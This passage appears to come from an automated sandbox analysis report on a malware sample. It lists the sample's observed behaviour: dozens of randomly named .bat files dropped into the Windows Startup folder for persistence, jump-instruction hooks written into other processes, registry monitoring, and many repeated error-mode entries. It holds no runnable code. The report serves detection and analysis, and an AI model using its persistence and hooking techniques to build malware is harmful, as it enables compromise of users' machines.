            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rEEjiqeukO2VRDjzOoMgF5Q1.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PenbNlY4v1Vx62WE0q81zcDp.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xUwcy6wbvWLGo9dph4cGTShV.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\I5UVn2ElA1TC7bAAmh5QM3ft.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\O46ClWDJJ0ChccNYUTHhX6rG.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TesNDksP9JpUl8dcPzgHr5lv.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Uomg7UlX27UwbG3UUxP7ZMNG.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LUsq7upEG2iiN4NxycmpIBDM.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9DzcdBj68Lp4dGPdGwvZEsfD.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xzk1C1rQiwgJE4mEfBRZiYfJ.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\y2xUHCgSGKPsCWSBr4ueFeFq.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2jNh70feoWdNeZn43S0Jdfru.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cic3atRc7HSpHHcbjylG6maa.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IytYR3GaQ4RFrbtAYXGTLQtf.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ElrigHO2FOmeuoC12a7pqHAf.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\18MDOkFiY6RdLnWW80t2YsVS.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EygRHTeIn4ytbQctqBrMquUw.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\L5TEYLaQFPYWqJgYXoDmRWNi.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\uoKc3jku73co21M6XP2XzBRm.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0JbGAE3KWGgTpIlSSHYLLbge.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XTYZUGwZm67eusiXt60bjnqI.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RXXz6AwumQHorbsNNmZw4Pww.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kEBolTmB6JUkmTcImCo9ZSC6.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mBxCGAyk3eKGc4MZLyYxeLOy.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vDK8Bjmbw8F7jtFi7BU7EIjV.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\5QDpHdUdPGqfrvwvPMstJLuM.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2MEjFMZug16QWjxKckULCLHU.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jWFEGUWi14gR1AWFpLYSOhTH.batJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LwUEIn0u42avRg7NWL5JGs75.batJump to behavior

            Hooking and other Techniques for Hiding and Protection

            barindex
            Overwrites code with unconditional jumps - possibly settings hooks in foreign process
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeMemory written: PID: 6080 base: 7FF9082F0005 value: E9 CB 05 E7 FF
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeMemory written: PID: 6080 base: 7FF9081605D0 value: E9 3A FA 18 00
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeMemory written: PID: 6080 base: 7FF908300005 value: E9 9B 07 E1 FF
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeMemory written: PID: 6080 base: 7FF9081107A0 value: E9 6A F8 1E 00
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeMemory written: PID: 6080 base: 7FF907CF0007 value: E9 AB 11 DF FF
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeMemory written: PID: 6080 base: 7FF907AE11B0 value: E9 5E EE 20 00
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeMemory written: PID: 6080 base: 7FF907D00006 value: E9 BB 7F DB FF
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeMemory written: PID: 6080 base: 7FF907AB7FC0 value: E9 4C 80 24 00
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeMemory written: PID: 6080 base: 7FF906100007 value: E9 CB E3 C9 FF
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeMemory written: PID: 6080 base: 7FF905D9E3D0 value: E9 3E 1C 36 00
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeMemory written: PID: 6080 base: 7FF906110006 value: E9 AB 4D B9 FF
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeMemory written: PID: 6080 base: 7FF905CA4DB0 value: E9 5C B2 46 00
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeMemory written: PID: 7480 base: 7FF9082F0005 value: E9 CB 05 E7 FF
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeMemory written: PID: 7480 base: 7FF9081605D0 value: E9 3A FA 18 00
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeMemory written: PID: 7480 base: 7FF908300005 value: E9 9B 07 E1 FF
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeMemory written: PID: 7480 base: 7FF9081107A0 value: E9 6A F8 1E 00
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeMemory written: PID: 7480 base: 7FF907CF0007 value: E9 AB 11 DF FF
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeMemory written: PID: 7480 base: 7FF907AE11B0 value: E9 5E EE 20 00
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeMemory written: PID: 7480 base: 7FF907D00006 value: E9 BB 7F DB FF
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeMemory written: PID: 7480 base: 7FF907AB7FC0 value: E9 4C 80 24 00
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeMemory written: PID: 7480 base: 7FF906100007 value: E9 CB E3 C9 FF
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeMemory written: PID: 7480 base: 7FF905D9E3D0 value: E9 3E 1C 36 00
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeMemory written: PID: 7480 base: 7FF906110006 value: E9 AB 4D B9 FF
            Source: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeMemory written: PID: 7480 base: 7FF905CA4DB0 value: E9 5C B2 46 00
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeMemory written: PID: 8188 base: 7FF9082F0005 value: E9 CB 05 E7 FF
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeMemory written: PID: 8188 base: 7FF9081605D0 value: E9 3A FA 18 00
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeMemory written: PID: 8188 base: 7FF908300005 value: E9 9B 07 E1 FF
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeMemory written: PID: 8188 base: 7FF9081107A0 value: E9 6A F8 1E 00
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeMemory written: PID: 8188 base: 7FF907CF0007 value: E9 AB 11 DF FF
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeMemory written: PID: 8188 base: 7FF907AE11B0 value: E9 5E EE 20 00
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeMemory written: PID: 8188 base: 7FF907D00006 value: E9 BB 7F DB FF
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeMemory written: PID: 8188 base: 7FF907AB7FC0 value: E9 4C 80 24 00
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeMemory written: PID: 8188 base: 7FF906100007 value: E9 CB E3 C9 FF
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeMemory written: PID: 8188 base: 7FF905D9E3D0 value: E9 3E 1C 36 00
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeMemory written: PID: 8188 base: 7FF906110006 value: E9 AB 4D B9 FF
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeMemory written: PID: 8188 base: 7FF905CA4DB0 value: E9 5C B2 46 00
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRootJump to behavior
            Source: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
            Source: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
